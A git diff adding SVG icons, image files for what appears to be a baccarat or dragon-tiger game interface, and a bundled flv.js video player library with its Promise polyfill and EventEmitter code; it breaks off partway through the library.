Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/207.svg b/public/static/handle/faces/207.svg new file mode 100644 index 0000000..fdf9757 --- /dev/null +++ b/public/static/handle/faces/207.svg @@ -0,0 +1,22 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/208.svg b/public/static/handle/faces/208.svg new file mode 100644 index 0000000..9bc7c5e --- /dev/null +++ b/public/static/handle/faces/208.svg @@ -0,0 +1,23 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/209.svg b/public/static/handle/faces/209.svg new file mode 100644 index 0000000..8ac41f2 --- /dev/null +++ b/public/static/handle/faces/209.svg @@ -0,0 +1,24 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/210.svg b/public/static/handle/faces/210.svg new file mode 100644 index 0000000..1dd0471 --- /dev/null +++ b/public/static/handle/faces/210.svg @@ -0,0 +1,25 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/211.svg b/public/static/handle/faces/211.svg new file mode 100644 index 0000000..fb6b71d --- /dev/null +++ b/public/static/handle/faces/211.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/212.svg b/public/static/handle/faces/212.svg new file mode 100644 index 0000000..413e91c --- /dev/null +++ b/public/static/handle/faces/212.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/213.svg b/public/static/handle/faces/213.svg new file mode 100644 index 0000000..0b5e6cd --- /dev/null +++ b/public/static/handle/faces/213.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/301.svg b/public/static/handle/faces/301.svg new file mode 100644 index 0000000..9737a17 --- /dev/null +++ b/public/static/handle/faces/301.svg @@ -0,0 +1,16 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/302.svg b/public/static/handle/faces/302.svg new file mode 100644 index 0000000..5949b60 --- /dev/null +++ b/public/static/handle/faces/302.svg @@ -0,0 +1,17 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/303.svg b/public/static/handle/faces/303.svg new file mode 100644 index 0000000..daab3f3 --- /dev/null +++ b/public/static/handle/faces/303.svg @@ -0,0 +1,18 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/304.svg b/public/static/handle/faces/304.svg new file mode 100644 index 0000000..662ac5a --- /dev/null +++ b/public/static/handle/faces/304.svg @@ -0,0 +1,19 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/305.svg b/public/static/handle/faces/305.svg new file mode 100644 index 0000000..2827e2c --- /dev/null +++ b/public/static/handle/faces/305.svg @@ -0,0 +1,20 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/306.svg b/public/static/handle/faces/306.svg new file mode 100644 index 0000000..710fb39 --- /dev/null +++ b/public/static/handle/faces/306.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/307.svg b/public/static/handle/faces/307.svg new file mode 100644 index 0000000..05e3da8 --- /dev/null +++ b/public/static/handle/faces/307.svg @@ -0,0 +1,22 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/308.svg b/public/static/handle/faces/308.svg new file mode 100644 index 0000000..a3a32cf --- /dev/null +++ b/public/static/handle/faces/308.svg @@ -0,0 +1,23 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/309.svg b/public/static/handle/faces/309.svg new file mode 100644 index 0000000..c6a6700 --- /dev/null +++ b/public/static/handle/faces/309.svg @@ -0,0 +1,24 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/310.svg b/public/static/handle/faces/310.svg new file mode 100644 index 0000000..2b88894 --- /dev/null +++ b/public/static/handle/faces/310.svg @@ -0,0 +1,25 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/311.svg b/public/static/handle/faces/311.svg new file mode 100644 index 0000000..0c7970d --- /dev/null +++ b/public/static/handle/faces/311.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/312.svg b/public/static/handle/faces/312.svg new file mode 100644 index 0000000..8c81fab --- /dev/null +++ b/public/static/handle/faces/312.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/313.svg b/public/static/handle/faces/313.svg new file mode 100644 index 0000000..242547a --- /dev/null +++ b/public/static/handle/faces/313.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/401.svg b/public/static/handle/faces/401.svg new file mode 100644 index 0000000..ad8e2ee --- /dev/null +++ b/public/static/handle/faces/401.svg @@ -0,0 +1,16 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/402.svg b/public/static/handle/faces/402.svg new file mode 100644 index 0000000..38511a8 --- /dev/null +++ b/public/static/handle/faces/402.svg @@ -0,0 +1,17 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/403.svg b/public/static/handle/faces/403.svg new file mode 100644 index 0000000..ab2773e --- /dev/null +++ b/public/static/handle/faces/403.svg @@ -0,0 +1,18 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/404.svg b/public/static/handle/faces/404.svg new file mode 100644 index 0000000..2b48eb0 --- /dev/null +++ b/public/static/handle/faces/404.svg @@ -0,0 +1,19 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/405.svg b/public/static/handle/faces/405.svg new file mode 100644 index 0000000..a5f9650 --- /dev/null +++ b/public/static/handle/faces/405.svg @@ -0,0 +1,20 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/406.svg b/public/static/handle/faces/406.svg new file mode 100644 index 0000000..17f54ec --- /dev/null +++ b/public/static/handle/faces/406.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/407.svg b/public/static/handle/faces/407.svg new file mode 100644 index 0000000..9554ec9 --- /dev/null +++ b/public/static/handle/faces/407.svg @@ -0,0 +1,22 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/408.svg b/public/static/handle/faces/408.svg new file mode 100644 index 0000000..6d8cef8 --- /dev/null +++ b/public/static/handle/faces/408.svg @@ -0,0 +1,23 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/409.svg b/public/static/handle/faces/409.svg new file mode 100644 index 0000000..8226e7c --- /dev/null +++ b/public/static/handle/faces/409.svg @@ -0,0 +1,24 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/410.svg b/public/static/handle/faces/410.svg new file mode 100644 index 0000000..3ab9367 --- /dev/null +++ b/public/static/handle/faces/410.svg @@ -0,0 +1,25 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/411.svg b/public/static/handle/faces/411.svg new file mode 100644 index 0000000..07642de --- /dev/null +++ b/public/static/handle/faces/411.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/412.svg b/public/static/handle/faces/412.svg new file mode 100644 index 0000000..6cbf548 --- /dev/null +++ b/public/static/handle/faces/412.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/413.svg b/public/static/handle/faces/413.svg new file mode 100644 index 0000000..a186816 --- /dev/null +++ b/public/static/handle/faces/413.svg @@ -0,0 +1,21 @@ + + + + Trim + Created with Sketch. + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/static/handle/faces/faces.png b/public/static/handle/faces/faces.png new file mode 100644 index 0000000..ae28d30 Binary files /dev/null and b/public/static/handle/faces/faces.png differ diff --git a/public/static/handle/img/active_bg.jpg b/public/static/handle/img/active_bg.jpg new file mode 100644 index 0000000..4d35cdb Binary files /dev/null and b/public/static/handle/img/active_bg.jpg differ diff --git a/public/static/handle/img/banker.png b/public/static/handle/img/banker.png new file mode 100644 index 0000000..a70bb00 Binary files /dev/null and b/public/static/handle/img/banker.png differ diff --git a/public/static/handle/img/banker_bankerpair.png b/public/static/handle/img/banker_bankerpair.png new file mode 100644 index 0000000..1270312 Binary files /dev/null and b/public/static/handle/img/banker_bankerpair.png differ diff --git a/public/static/handle/img/banker_bothpair.png b/public/static/handle/img/banker_bothpair.png new file mode 100644 index 0000000..01ad9a9 Binary files /dev/null and b/public/static/handle/img/banker_bothpair.png differ diff --git a/public/static/handle/img/banker_playerpair.png b/public/static/handle/img/banker_playerpair.png new file mode 100644 index 0000000..95fa17e Binary files /dev/null and b/public/static/handle/img/banker_playerpair.png differ diff --git a/public/static/handle/img/count.png b/public/static/handle/img/count.png new file mode 100644 index 0000000..748e44a Binary files /dev/null and b/public/static/handle/img/count.png differ diff --git a/public/static/handle/img/dice0.png b/public/static/handle/img/dice0.png new file mode 100644 index 0000000..0938ce6 Binary files /dev/null and b/public/static/handle/img/dice0.png differ diff --git a/public/static/handle/img/dice1.png b/public/static/handle/img/dice1.png new file mode 100644 index 0000000..b536232 Binary files /dev/null and b/public/static/handle/img/dice1.png differ diff --git a/public/static/handle/img/dice2.png b/public/static/handle/img/dice2.png new file mode 100644 index 0000000..390339a Binary files /dev/null and b/public/static/handle/img/dice2.png differ diff --git a/public/static/handle/img/dice3.png b/public/static/handle/img/dice3.png new file mode 100644 index 0000000..cbcbc3d Binary files /dev/null and b/public/static/handle/img/dice3.png differ diff --git a/public/static/handle/img/dice4.png b/public/static/handle/img/dice4.png new file mode 100644 index 0000000..0db9d88 Binary files /dev/null and b/public/static/handle/img/dice4.png differ diff --git a/public/static/handle/img/dice5.png b/public/static/handle/img/dice5.png new file mode 100644 index 0000000..ee8b84e Binary files /dev/null and b/public/static/handle/img/dice5.png differ diff --git a/public/static/handle/img/dice6.png b/public/static/handle/img/dice6.png new file mode 100644 index 0000000..4cb30b9 Binary files /dev/null and b/public/static/handle/img/dice6.png differ diff --git a/public/static/handle/img/dragon_win.png b/public/static/handle/img/dragon_win.png new file mode 100644 index 0000000..8a0e339 Binary files /dev/null and b/public/static/handle/img/dragon_win.png differ diff --git a/public/static/handle/img/faces.png b/public/static/handle/img/faces.png new file mode 100644 index 0000000..d774571 Binary files /dev/null and b/public/static/handle/img/faces.png differ diff --git a/public/static/handle/img/faces1.png b/public/static/handle/img/faces1.png new file mode 100644 index 0000000..8eb6b55 Binary files /dev/null and b/public/static/handle/img/faces1.png differ diff --git a/public/static/handle/img/grab.png b/public/static/handle/img/grab.png new file mode 100644 index 0000000..a0f9ade Binary files /dev/null and b/public/static/handle/img/grab.png differ diff --git a/public/static/handle/img/head_bg.png b/public/static/handle/img/head_bg.png new file mode 100644 index 0000000..e9cf880 Binary files /dev/null and b/public/static/handle/img/head_bg.png differ diff --git a/public/static/handle/img/info-bg.jpg b/public/static/handle/img/info-bg.jpg new file mode 100644 index 0000000..0b5d0dd Binary files /dev/null and b/public/static/handle/img/info-bg.jpg differ diff --git a/public/static/handle/img/input-bg.png b/public/static/handle/img/input-bg.png new file mode 100644 index 0000000..3eaaf98 Binary files /dev/null and b/public/static/handle/img/input-bg.png differ diff --git a/public/static/handle/img/input_box.png b/public/static/handle/img/input_box.png new file mode 100644 index 0000000..e32f322 Binary files /dev/null and b/public/static/handle/img/input_box.png differ diff --git a/public/static/handle/img/l-bg.png b/public/static/handle/img/l-bg.png new file mode 100644 index 0000000..4e52547 Binary files /dev/null and b/public/static/handle/img/l-bg.png differ diff --git a/public/static/handle/img/login-bg.jpg b/public/static/handle/img/login-bg.jpg new file mode 100644 index 0000000..89b8c52 Binary files /dev/null and b/public/static/handle/img/login-bg.jpg differ diff --git a/public/static/handle/img/logo.png b/public/static/handle/img/logo.png new file mode 100644 index 0000000..74d3e46 Binary files /dev/null and b/public/static/handle/img/logo.png differ diff --git a/public/static/handle/img/player.png b/public/static/handle/img/player.png new file mode 100644 index 0000000..891c270 Binary files /dev/null and b/public/static/handle/img/player.png differ diff --git a/public/static/handle/img/player_bankerpair.png b/public/static/handle/img/player_bankerpair.png new file mode 100644 index 0000000..40c482b Binary files /dev/null and b/public/static/handle/img/player_bankerpair.png differ diff --git a/public/static/handle/img/player_bothpair.png b/public/static/handle/img/player_bothpair.png new file mode 100644 index 0000000..573bd7a Binary files /dev/null and b/public/static/handle/img/player_bothpair.png differ diff --git a/public/static/handle/img/player_playerpair.png b/public/static/handle/img/player_playerpair.png new file mode 100644 index 0000000..4d3747c Binary files /dev/null and b/public/static/handle/img/player_playerpair.png differ diff --git a/public/static/handle/img/sprite.png b/public/static/handle/img/sprite.png new file mode 100644 index 0000000..82a87f6 Binary files /dev/null and b/public/static/handle/img/sprite.png differ diff --git a/public/static/handle/img/table-bg.jpg b/public/static/handle/img/table-bg.jpg new file mode 100644 index 0000000..5a11404 Binary files /dev/null and b/public/static/handle/img/table-bg.jpg differ diff --git a/public/static/handle/img/tie.png b/public/static/handle/img/tie.png new file mode 100644 index 0000000..d146df5 Binary files /dev/null and b/public/static/handle/img/tie.png differ diff --git a/public/static/handle/img/tie_bankerpair.png b/public/static/handle/img/tie_bankerpair.png new file mode 100644 index 0000000..e8fc89e Binary files /dev/null and b/public/static/handle/img/tie_bankerpair.png differ diff --git a/public/static/handle/img/tie_bothpair.png b/public/static/handle/img/tie_bothpair.png new file mode 100644 index 0000000..6db9d48 Binary files /dev/null and b/public/static/handle/img/tie_bothpair.png differ diff --git a/public/static/handle/img/tie_playerpair.png b/public/static/handle/img/tie_playerpair.png new file mode 100644 index 0000000..e308291 Binary files /dev/null and b/public/static/handle/img/tie_playerpair.png differ diff --git a/public/static/handle/img/tiger_win.png b/public/static/handle/img/tiger_win.png new file mode 100644 index 0000000..39fd434 Binary files /dev/null and b/public/static/handle/img/tiger_win.png differ diff --git a/public/static/handle/img/tip_bg.png b/public/static/handle/img/tip_bg.png new file mode 100644 index 0000000..5138de0 Binary files /dev/null and b/public/static/handle/img/tip_bg.png differ diff --git a/public/static/handle/img/video_bg.jpg b/public/static/handle/img/video_bg.jpg new file mode 100644 index 0000000..752ebb6 Binary files /dev/null and b/public/static/handle/img/video_bg.jpg differ diff --git a/public/static/handle/js/flv.js b/public/static/handle/js/flv.js new file mode 100644 index 0000000..bcdf9f3 --- /dev/null +++ b/public/static/handle/js/flv.js @@ -0,0 +1,12056 @@ +(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.flvjs = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o postsJSON + values[1] // => commentsJSON + + return values; + }); + ``` + + @class Promise + @param {Function} resolver + Useful for tooling. + @constructor + */ + + var Promise$1 = function () { + function Promise(resolver) { + this[PROMISE_ID] = nextId(); + this._result = this._state = undefined; + this._subscribers = []; + + if (noop !== resolver) { + typeof resolver !== 'function' && needsResolver(); + this instanceof Promise ? initializePromise(this, resolver) : needsNew(); + } + } + + /** + The primary way of interacting with a promise is through its `then` method, + which registers callbacks to receive either a promise's eventual value or the + reason why the promise cannot be fulfilled. + ```js + findUser().then(function(user){ + // user is available + }, function(reason){ + // user is unavailable, and you are given the reason why + }); + ``` + Chaining + -------- + The return value of `then` is itself a promise. This second, 'downstream' + promise is resolved with the return value of the first promise's fulfillment + or rejection handler, or rejected if the handler throws an exception. + ```js + findUser().then(function (user) { + return user.name; + }, function (reason) { + return 'default name'; + }).then(function (userName) { + // If `findUser` fulfilled, `userName` will be the user's name, otherwise it + // will be `'default name'` + }); + findUser().then(function (user) { + throw new Error('Found user, but still unhappy'); + }, function (reason) { + throw new Error('`findUser` rejected and we're unhappy'); + }).then(function (value) { + // never reached + }, function (reason) { + // if `findUser` fulfilled, `reason` will be 'Found user, but still unhappy'. + // If `findUser` rejected, `reason` will be '`findUser` rejected and we're unhappy'. + }); + ``` + If the downstream promise does not specify a rejection handler, rejection reasons will be propagated further downstream. + ```js + findUser().then(function (user) { + throw new PedagogicalException('Upstream error'); + }).then(function (value) { + // never reached + }).then(function (value) { + // never reached + }, function (reason) { + // The `PedgagocialException` is propagated all the way down to here + }); + ``` + Assimilation + ------------ + Sometimes the value you want to propagate to a downstream promise can only be + retrieved asynchronously. This can be achieved by returning a promise in the + fulfillment or rejection handler. The downstream promise will then be pending + until the returned promise is settled. This is called *assimilation*. + ```js + findUser().then(function (user) { + return findCommentsByAuthor(user); + }).then(function (comments) { + // The user's comments are now available + }); + ``` + If the assimliated promise rejects, then the downstream promise will also reject. + ```js + findUser().then(function (user) { + return findCommentsByAuthor(user); + }).then(function (comments) { + // If `findCommentsByAuthor` fulfills, we'll have the value here + }, function (reason) { + // If `findCommentsByAuthor` rejects, we'll have the reason here + }); + ``` + Simple Example + -------------- + Synchronous Example + ```javascript + let result; + try { + result = findResult(); + // success + } catch(reason) { + // failure + } + ``` + Errback Example + ```js + findResult(function(result, err){ + if (err) { + // failure + } else { + // success + } + }); + ``` + Promise Example; + ```javascript + findResult().then(function(result){ + // success + }, function(reason){ + // failure + }); + ``` + Advanced Example + -------------- + Synchronous Example + ```javascript + let author, books; + try { + author = findAuthor(); + books = findBooksByAuthor(author); + // success + } catch(reason) { + // failure + } + ``` + Errback Example + ```js + function foundBooks(books) { + } + function failure(reason) { + } + findAuthor(function(author, err){ + if (err) { + failure(err); + // failure + } else { + try { + findBoooksByAuthor(author, function(books, err) { + if (err) { + failure(err); + } else { + try { + foundBooks(books); + } catch(reason) { + failure(reason); + } + } + }); + } catch(error) { + failure(err); + } + // success + } + }); + ``` + Promise Example; + ```javascript + findAuthor(). + then(findBooksByAuthor). + then(function(books){ + // found books + }).catch(function(reason){ + // something went wrong + }); + ``` + @method then + @param {Function} onFulfilled + @param {Function} onRejected + Useful for tooling. + @return {Promise} + */ + + /** + `catch` is simply sugar for `then(undefined, onRejection)` which makes it the same + as the catch block of a try/catch statement. + ```js + function findAuthor(){ + throw new Error('couldn't find that author'); + } + // synchronous + try { + findAuthor(); + } catch(reason) { + // something went wrong + } + // async with promises + findAuthor().catch(function(reason){ + // something went wrong + }); + ``` + @method catch + @param {Function} onRejection + Useful for tooling. + @return {Promise} + */ + + + Promise.prototype.catch = function _catch(onRejection) { + return this.then(null, onRejection); + }; + + /** + `finally` will be invoked regardless of the promise's fate just as native + try/catch/finally behaves + + Synchronous example: + + ```js + findAuthor() { + if (Math.random() > 0.5) { + throw new Error(); + } + return new Author(); + } + + try { + return findAuthor(); // succeed or fail + } catch(error) { + return findOtherAuther(); + } finally { + // always runs + // doesn't affect the return value + } + ``` + + Asynchronous example: + + ```js + findAuthor().catch(function(reason){ + return findOtherAuther(); + }).finally(function(){ + // author was either found, or not + }); + ``` + + @method finally + @param {Function} callback + @return {Promise} + */ + + + Promise.prototype.finally = function _finally(callback) { + var promise = this; + var constructor = promise.constructor; + + if (isFunction(callback)) { + return promise.then(function (value) { + return constructor.resolve(callback()).then(function () { + return value; + }); + }, function (reason) { + return constructor.resolve(callback()).then(function () { + throw reason; + }); + }); + } + + return promise.then(callback, callback); + }; + + return Promise; + }(); + + Promise$1.prototype.then = then; + Promise$1.all = all; + Promise$1.race = race; + Promise$1.resolve = resolve$1; + Promise$1.reject = reject$1; + Promise$1._setScheduler = setScheduler; + Promise$1._setAsap = setAsap; + Promise$1._asap = asap; + + /*global self*/ + function polyfill() { + var local = void 0; + + if (typeof global !== 'undefined') { + local = global; + } else if (typeof self !== 'undefined') { + local = self; + } else { + try { + local = Function('return this')(); + } catch (e) { + throw new Error('polyfill failed because global object is unavailable in this environment'); + } + } + + var P = local.Promise; + + if (P) { + var promiseToString = null; + try { + promiseToString = Object.prototype.toString.call(P.resolve()); + } catch (e) { + // silently ignored + } + + if (promiseToString === '[object Promise]' && !P.cast) { + return; + } + } + + local.Promise = Promise$1; + } + +// Strange compat.. + Promise$1.polyfill = polyfill; + Promise$1.Promise = Promise$1; + + return Promise$1; + + }))); + + + + + + }).call(this,_dereq_('_process'),typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) + +},{"_process":3}],2:[function(_dereq_,module,exports){ +// Copyright Joyent, Inc. and other Node contributors. +// +// Permission is hereby granted, freedom of charge, to any person obtaining a +// copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to permit +// persons to whom the Software is furnished to do so, subject to the +// following conditions: +// +// The above copyright notice and this permission notice shall be included +// in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN +// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, +// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR +// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE +// USE OR OTHER DEALINGS IN THE SOFTWARE. + + function EventEmitter() { + this._events = this._events || {}; + this._maxListeners = this._maxListeners || undefined; + } + module.exports = EventEmitter; + +// Backwards-compat with node 0.10.x + EventEmitter.EventEmitter = EventEmitter; + + EventEmitter.prototype._events = undefined; + EventEmitter.prototype._maxListeners = undefined; + +// By default EventEmitters will print a warning if more than 10 listeners are +// added to it. This is a useful default which helps finding memory leaks. + EventEmitter.defaultMaxListeners = 10; + +// Obviously not all Emitters should be limited to 10. This function allows +// that to be increased. Set to zero for unlimited. + EventEmitter.prototype.setMaxListeners = function(n) { + if (!isNumber(n) || n < 0 || isNaN(n)) + throw TypeError('n must be a positive number'); + this._maxListeners = n; + return this; + }; + + EventEmitter.prototype.emit = function(type) { + var er, handler, len, args, i, listeners; + + if (!this._events) + this._events = {}; + + // If there is no 'error' event listener then throw. + if (type === 'error') { + if (!this._events.error || + (isObject(this._events.error) && !this._events.error.length)) { + er = arguments[1]; + if (er instanceof Error) { + throw er; // Unhandled 'error' event + } else { + // At least give some kind of context to the user + var err = new Error('Uncaught, unspecified "error" event. (' + er + ')'); + err.context = er; + throw err; + } + } + } + + handler = this._events[type]; + + if (isUndefined(handler)) + return false; + + if (isFunction(handler)) { + switch (arguments.length) { + // fast cases + case 1: + handler.call(this); + break; + case 2: + handler.call(this, arguments[1]); + break; + case 3: + handler.call(this, arguments[1], arguments[2]); + break; + // slower + default: + args = Array.prototype.slice.call(arguments, 1); + handler.apply(this, args); + } + } else if (isObject(handler)) { + args = Array.prototype.slice.call(arguments, 1); + listeners = handler.slice(); + len = listeners.length; + for (i = 0; i < len; i++) + listeners[i].apply(this, args); + } + + return true; + }; + + EventEmitter.prototype.addListener = function(type, listener) { + var m; + + if (!isFunction(listener)) + throw TypeError('listener must be a function'); + + if (!this._events) + this._events = {}; + + // To avoid recursion in the case that type === "newListener"! Before + // adding it to the listeners, first emit "newListener". + if (this._events.newListener) + this.emit('newListener', type, + isFunction(listener.listener) ? + listener.listener : listener); + + if (!this._events[type]) + // Optimize the case of one listener. Don't need the extra array object. + this._events[type] = listener; + else if (isObject(this._events[type])) + // If we've already got an array, just append. + this._events[type].push(listener); + else + // Adding the second element, need to change to array. + this._events[type] = [this._events[type], listener]; + + // Check for listener leak + if (isObject(this._events[type]) && !this._events[type].warned) { + if (!isUndefined(this._maxListeners)) { + m = this._maxListeners; + } else { + m = EventEmitter.defaultMaxListeners; + } + + if (m && m > 0 && this._events[type].length > m) { + this._events[type].warned = true; + console.error('(node) warning: possible EventEmitter memory ' + + 'leak detected. %d listeners added. ' + + 'Use emitter.setMaxListeners() to increase limit.', + this._events[type].length); + if (typeof console.trace === 'function') { + // not supported in IE 10 + console.trace(); + } + } + } + + return this; + }; + + EventEmitter.prototype.on = EventEmitter.prototype.addListener; + + EventEmitter.prototype.once = function(type, listener) { + if (!isFunction(listener)) + throw TypeError('listener must be a function'); + + var fired = false; + + function g() { + this.removeListener(type, g); + + if (!fired) { + fired = true; + listener.apply(this, arguments); + } + } + + g.listener = listener; + this.on(type, g); + + return this; + }; + +// emits a 'removeListener' event iff the listener was removed + EventEmitter.prototype.removeListener = function(type, listener) { + var list, position, length, i; + + if (!isFunction(listener)) + throw TypeError('listener must be a function'); + + if (!this._events || !this._events[type]) + return this; + + list = this._events[type]; + length = list.length; + position = -1; + + if (list === listener || + (isFunction(list.listener) && list.listener === listener)) { + delete this._events[type]; + if (this._events.removeListener) + this.emit('removeListener', type, listener); + + } else if (isObject(list)) { + for (i = length; i-- > 0;) { + if (list[i] === listener || + (list[i].listener && list[i].listener === listener)) { + position = i; + break; + } + } + + if (position < 0) + return this; + + if (list.length === 1) { + list.length = 0; + delete this._events[type]; + } else { + list.splice(position, 1); + } + + if (this._events.removeListener) + this.emit('removeListener', type, listener); + } + + return this; + }; + + EventEmitter.prototype.removeAllListeners = function(type) { + var key, listeners; + + if (!this._events) + return this; + + // not listening for removeListener, no need to emit + if (!this._events.removeListener) { + if (arguments.length === 0) + this._events = {}; + else if (this._events[type]) + delete this._events[type]; + return this; + } + + // emit removeListener for all listeners on all events + if (arguments.length === 0) { + for (key in this._events) { + if (key === 'removeListener') continue; + this.removeAllListeners(key); + } + this.removeAllListeners('removeListener'); + this._events = {}; + return this; + } + + listeners = this._events[type]; + + if (isFunction(listeners)) { + this.removeListener(type, listeners); + } else if (listeners) { + // LIFO order + while (listeners.length) + this.removeListener(type, listeners[listeners.length - 1]); + } + delete this._events[type]; + + return this; + }; + + EventEmitter.prototype.listeners = function(type) { + var ret; + if (!this._events || !this._events[type]) + ret = []; + else if (isFunction(this._events[type])) + ret = [this._events[type]]; + else + ret = this._events[type].slice(); + return ret; + }; + + EventEmitter.prototype.listenerCount = function(type) { + if (this._events) { + var evlistener = this._events[type]; + + if (isFunction(evlistener)) + return 1; + else if (evlistener) + return evlistener.length; + } + return 0; + }; + + EventEmitter.listenerCount = function(emitter, type) { + return emitter.listenerCount(type); + }; + + function isFunction(arg) { + return typeof arg === 'function'; + } + + function isNumber(arg) { + return typeof arg === 'number'; + } + + function isObject(arg) { + return typeof arg === 'object' && arg !== null; + } + + function isUndefined(arg) { + return arg === void 0; + } + +},{}],3:[function(_dereq_,module,exports){ +// shim for using process in browser + var process = module.exports = {}; + +// cached from whatever global is present so that test runners that stub it +// don't break things. But we need to wrap it in a try catch in case it is +// wrapped in strict mode code which doesn't define any globals. It's inside a +// function because try/catches deoptimize in certain engines. + + var cachedSetTimeout; + var cachedClearTimeout; + + function defaultSetTimout() { + throw new Error('setTimeout has not been defined'); + } + function defaultClearTimeout () { + throw new Error('clearTimeout has not been defined'); + } + (function () { + try { + if (typeof setTimeout === 'function') { + cachedSetTimeout = setTimeout; + } else { + cachedSetTimeout = defaultSetTimout; + } + } catch (e) { + cachedSetTimeout = defaultSetTimout; + } + try { + if (typeof clearTimeout === 'function') { + cachedClearTimeout = clearTimeout; + } else { + cachedClearTimeout = defaultClearTimeout; + } + } catch (e) { + cachedClearTimeout = defaultClearTimeout; + } + } ()) + function runTimeout(fun) { + if (cachedSetTimeout === setTimeout) { + //normal enviroments in sane situations + return setTimeout(fun, 0); + } + // if setTimeout wasn't available but was latter defined + if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) { + cachedSetTimeout = setTimeout; + return setTimeout(fun, 0); + } + try { + // when when somebody has screwed with setTimeout but no I.E. maddness + return cachedSetTimeout(fun, 0); + } catch(e){ + try { + // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally 